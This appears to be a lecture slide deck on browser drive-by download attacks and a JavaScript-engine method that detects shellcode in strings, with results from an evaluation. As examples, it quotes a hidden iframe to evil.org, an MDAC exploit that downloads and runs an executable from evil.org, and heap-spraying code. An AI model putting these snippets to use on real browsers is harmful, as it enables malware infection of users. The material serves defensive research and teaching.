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Overview
• Why is the browser an interesting target for attackers
• What is (not) a drive-by download
• Life cycle of a drive-by download attack
• Drive-by download example
• Detecting drive-by attacks
• Evaluation
• Implementation details
• Summary
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The Web Browser as Attack Target
• Active content is controlled by the web-site owner
– Scripts are downloaded and executed (in protected/secured 
environment)
• By-pass network level protection
– Pull based infection scheme (NAT and proxy cannot protect the client)
– Easy obfuscation/encryption
• Huge install bases of browsers and plug-ins
– 90% of all Internet enabled devices run flash
• SANS lists web browsers as #1 in client-side vulnerabilities
• [Provos 2008] Identified 1.3% of all Google queries link to 
malicious sites → „This site may harm your computer“
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What is (not) a Drive-by Download
• Drive-by download attack:
Automatically downloads and installs malicious software from the 
web without user interaction or the users' consent
Commonly performed through active client side scripts
• Social engineering
„Install the Codec to watch this movie“ requires user interaction 
→ not a drive-by download
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Life Cycle of a Drive-by Download
• Attacker hosts web site that delivers attack code
Problem: how to attract many users to that site?
• Attacker manipulates legitimate sites to deliver attack code
– Buy advertisements
– Compromise web server
– Exploit vulnerabilities in web applications (automatically)
• Modification to a site can be a single iframe or script tag
<iframe src=“http://evil.org/attack.php“ style=“display:none“></iframe>
• Browser fetches and interprets the additional content (e.g., 
attack scripts)
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Life Cycle (cont.)
The attack itself:
(1) Ignores returning clients 
• Deliver attack only once per IP and time-frame → hamper analysis
time-frame because of dynamic ip addresses
• Returning clients are redirected to benign sites
• New clients are redirected to sites with attack code
(2) Fingerprints the client 
e.g., browser version, language, enumerate installed plug-ins
(3) Depending on fingerprint information loads specific attack
e.g., if vulnerable media player plug-in is present load exploit
(4) Performs attack download and executes/installs malware
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Drive-by Download Attack Vectors
• API misuse
– Parameter validation problems (SINA downloader)
– Uncommon combination of functionality (MS06-014 mdac)
• Exploit vulnerability in browser or plug-in
1. Load shellcode to browser address space
2. Exploit control flow diverting vulnerability
3. Shellcode downloads and installs additional malicious 
components with the privileges of the browser
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Attack Vector: API misuse
• MS06-014 mdac - exploit
var xml = CreateObject('msxml2.XMLHTTP','');
var sh = CreateObject("Shell.Application",'');
var ado = CreateObject('adodb.stream','');
xml.open('GET','http://evil.org//load.php',false);
xml.send();
ado.open();
ado.Write(xml.responseBody);
var fname = './/..//svchosts.exe';
ado.SaveToFile(fname,2);
ado.Close();
sh.shellexecute(fname);
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Attack Vector: Shellcode
• Load shellcode to browser address space
– e.g., string variable in a script
– Exploit vulnerability and divert control flow
• Problem: where in memory is the string 
variable/shellcode
• Common solution: NOP sledge
• More effective in combination with Heap-Spraying
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Heap-Spraying
• Combine NOP sledge and shellcode in a variable
• Repeatedly copy variable to the heap until large 
address ranges are occupied by these values
• Knowledge of heap organization helps to reliably spray 
the desired area (Heap Feng-Shui)
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Heap-Spraying
Normal Heap Layout After Heap-Spraying
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Attack Vector: Shellcode (cont.)
• Load shellcode to browser address space
– e.g., string variable in a script
– Exploit vulnerability and divert control flow to sprayed heap
• Execution slides down the NOP sledge and executes 
the shellcode
• Shellcode downloads and executes arbitrary 
application from the Internet
• Shellcode can use system libraries to ease its task
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Attack Vector: Shellcode (example)
• Superbuddy drive-by attack
//load shellcode
var shellcode = 
unescape("%u00e8%u0000%u5d00%uc583% ...");
//spray the heap
for (var cnt=0; cnt < cnt_max; cnt++) {
   arr[cnt] = nops + shellcode;
}
//exploit vulnerability
var sb = new ActiveXObject('Sb.SuperBuddy');
sb.LinkSBIcons(0x0c0c0c0c);
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Attack Vector: Shellcode (example)
• Visiting http://www.thewebleaders.com on Sept. 2nd 2008
1  function XfNLVA421(IaP1EoKdg) {
2    var I833Nad64 = location.href;
3    var hOtmWAGmO = arguments.callee;
4    hOtmWAGmO = hOtmWAGmO.toString()
5    ...
6    try {
7      eval(jiiIUpFi3);
8    } catch(e)
9    ...
10 }
11 XfNLVA421(’a7A7a7A7ac9bB5b261...’);
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Attack Vector: Shellcode (example, cont)
• After decryption
1  function IxQUTJ9S() { //Spray Heap
2    var YlsElYlW = 0x0c0c0c0c;
3    var hpgfpT9z = unescape("%u00e8%u0000%u5d00%uc583% ...");
     ...
4    for (var CCEzrp0s=0;CCEzrp0s<Wh_74Nkm;CCEzrp0s++) {
5          je9rIXgu[CCEzrp0s] = QdV7IGyr + hpgfpT9z;
6    }
     ...
7  }
   ...
8  var Kp1uYOjP = new ActiveXObject(’Sb.SuperBuddy’);
9  if (Kp1uYOjP) {
10    IxQUTJ9S();
11    Kp1uYOjP.LinkSBIcons(0x0c0c0c0c);
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Existing Evasion Techniques
• Fingerprinting browser as first attack step
– Only load attack code for installed plugins 
• Obfuscation
– Substitute variable names / remove white spaces
• Encryption
– Cipher text + decryption routine
– Dynamically decrypt and execute (eval) attack code
– Make decryption key dependent on URL and source code 
• JavaScript implementation specific attacks
– e.g., try – catch – finally syntax in IE vs. Firefox
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Detecting Drive-by Attacks
• Track object (string) allocation in JavaScript
• Check strings for x86 exectuable contents
• If Shellcode is detected abort script execution before 
control is transfered to the shellcode
– Shellcode is detected at creation time before the exploit takes 
place
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Strings in ECMA-262 / JavaScript
• Strings defined as 16-bit Integers (commonly 
interpretet as UTF-16)
i.e., ASCII strings have every other byte set to 0x00
• JavaScript strings are immutable
e.g., string.replace yields a new string object
• JScript adds facilities to support ActiveX for plugins
International Secure Systems Lab
Technical University Vienna
Track String Allocation in JavaScript
• Modify Spidermonkey (Mozilla JavaScript engine)
• Instrumented string creation locations:
– Global variables
– Local variables
– Object member variables (i.e., properties)
• Record start address and length of the content
• Concatenating two (immutable) strings results in a new 
string being created
• Manage a tree structure for concatenated strings
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Check Strings for x86 Executable Contents
• Leveraging libemu to detect executable contents
• libemu interprets bytes arrays as x86 instructions 
(starting at each byte offset)
• If a sufficiently long sequence of bytes result in valid 
instructions libemu reports a shellcode
• Current conservative threshold is 32 bytes
• Premise: Attacker cannot execute shellcode before it 
was analyzed
• Straight forward detection approach is to emulate all 
strings at creation time
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Performance Optimizations
• Two possible optimizations:
(1) Reduce the number of invocations of the emulation engine
(2) Reduce the amount of data that is emulated
(1) Consider the SpiderMonkey engine as safe
– Exploits commonly target the browser or plug-ins (not the 
JavaScript interpreter itself)
– Scripts can create strings (also such that contain shellcode)
– Once control flow leaves the core interpreter the emulator is 
invoked on the recorded memory areas
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Performance Optimizations (cont.)
(2) Reduce the amount of data that is emulated
• Delayed checking allows to gather meta information on 
the involved strings
• Concatenation of strings result in a new string being 
created
• Check concatenated strings first and discard 
substrings if no shellcode is detected
• Make use of JavaScript garbage collection
– Invoke GC at every transition out of the core JS engine
– Zero out unreachable strings
– Remove unreachable strings from the list of strings to emulate
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Evaluation
• Firefox extension that visits a list of URLs
• Visit top 4,500 Alexa pages, no false alarms
– x86 instruction set is densly packed, (i.e., almost any 
sequence of ASCII characters can be interpreted as 
instruction sequence)
– Remember: JavaScript characters are 16bit UTF-16 integers
(i.e., for ASCII strings every other byte is 0x00)
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Evaluation (cont.)
• Evaluate detection effectiveness on 1,187 traces of 
web-browsing sessions known to contain drive-by 
attacks
• Traces were collected by Capture HPC visiting URLs 
advertised in spam emails
• Honey-client is Windows XP SP2 + Flash Quicktime 
plug-in
• Drive-by attacks are identified if the visit to a URL 
results in a new process being started
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Evaluation (cont.)
• Dissect network traces into 11,910 downloaded files 
(HTTP requests) and host them on local web server
• Postprocessing of files included:
– Unzip gzip'ed content
– Add <html> and <script> tags if necessary (e.g., URLs 
included by src attribute of script tags)
• Visit each individual URL with the instrumented browser
• Advantages of evaluating offline:
– Reproducable experiments
– No interference with sites being taken down
– No redirection on revisiting clients
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Evaluation (cont.)
• Initially detected 956 of 1,187 drive-by attacks (81%)
• Remaining 231 traces contain:
– Exploits that don't rely on shellcode (e.g., SINA downloader)
– VBScript exploits
– Problems with the environment (e.g., attacks split over 
multiple files)
– CAB files that automatically launch „Windows Management 
Instrumentation“ process
• Overall detection rate: 93,3%
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Performance Evaluation
• Visit Alexa top 150 pages
– Unmodified Firefox browser
– Modified Firefox browser and emulating strings upon creation
– Modified Firefox browser with initial optimizations
• Pentium Core 2 Duo, 2.66GHz, 4Gb Ram, 1MBit ADSL
Total Time [s] Time/page[s] Overhead/page Factor
Off-the-shelf Browser 527 3,51
Protected Browser without optimization 1237 8,25 4,73 2,35
Protected Browser with optimization 876 5,84 2,33 1,66
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Implementation Details
• Most exploits target Internet Explorer and ActiveX plug-ins
– Extend Firefox to support fake ActiveX components (i.e., each 
attempt to create a component succeeds and a dummy object that 
logs all method calls and parameters is returned)
• Prevent Browser fingerprinting
– Modify User-agent identifyier (i.e., navigator JS object)
– Emulate IE JScript problem with try­catch­finally syntax
1 try {
2   ...
3 } catch (e) {};
4 finally {
5   ...
6 }
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Implementation Details (cont.)
• Encrypted attack scripts with dynamic decryption keys
– If key is stored in a variable, decryption happens transparently
– Key is dependent on the script's environment (e.g., the URL where it 
is hosted)
– During evaluation contents were served from a local web-server
→  URLs did not match, decryption resulted in garbage
– Firefox was modified to report the URL that was visited when the 
trace was recorded (i.e., the URL was correct)
• Defusing logic bombs
– Scripts might use setTimeout to delay their execution, all delays > 
50ms were replaced with a value of 50ms
– Custom built timeout function (i.e., measure elapsed time in a loop, 
escaped detection first), after patching out the attack was detected
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Mitigation Strategies
• Black- / white-listing
– Google crawls potentially malicious sites and adds a warning tag 
to search results (how accurate/timely?, evade by detecting 
Google bot)
– AVG link scanner scans ALL search result pages for malicious 
behavior (additional traffic to sites not visited, ad-revenue,evade 
by detecting link scanner)
• API misuse
– Machine learning based approaches
Build a profile of known good behavior, and compare actual behavior 
against this profile (profile can contain: number of calls per function, 
abstract description of heap spraying, ...)
– Infer additional information for function argument values/domains
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Mitigation Strategies (cont.)
Control flow diverting attacks
• Non – executable memory for objects on the heap
• Emulation based mitigation approach
Shellcode needs to be executable machine code (e.g., x86)
Find longest valid instruction sequence in objects created by 
scripts
→ Run all script allocated contents in an emulator
If length of sequence > threshold 
→ Shellcode detected (abort script, notify user, ...)
Threshold value influences false positives/negatives 
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Mitigation Strategies (cont.)
Browser built-in solutions
• Pros:
– Protects the user from actually launched attacks
(e.g., attack targets other browser no alert is raised)
– Computational effort only for pages actually visited
• Cons:
– Only protects users with equiped browsers
– Computational overhead (slowdown) for every user
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Challenges
• Performance impact
Browser developers are eager to boost performance especially for 
JavaScript engines (Web 2.0, Ajax, ...)
Performance impact should be small
Optimizations to proposed solutions necessary
• White listing of trusted sites
• For emulation approach reduce amount of data to emulate, speed 
up emulation
• Analysis tools
Obfuscation, encryption, and one time attacks hamper analysis
→ Efficient methods to capture and replay attacks (network 
traffic) are needed for reliable analysis tools
• Moving target (Attacks on Flash, malicious PDF files, ...)
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Summary
• Browser is #1 target for client vulnerabilities
• Drive-by downloads are easy to distribute (1 line html)
• Current attacks are already sophisticated
(e.g., Obfuscation, encryption, fingerprinting, one time attacks)
• Perform detection by
– Tracing string creation
– Emulate string contents to detect shellcode
• Evaluation resulted in 93% detection rate
• Performance slowdown factor 1.7
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Questions ?
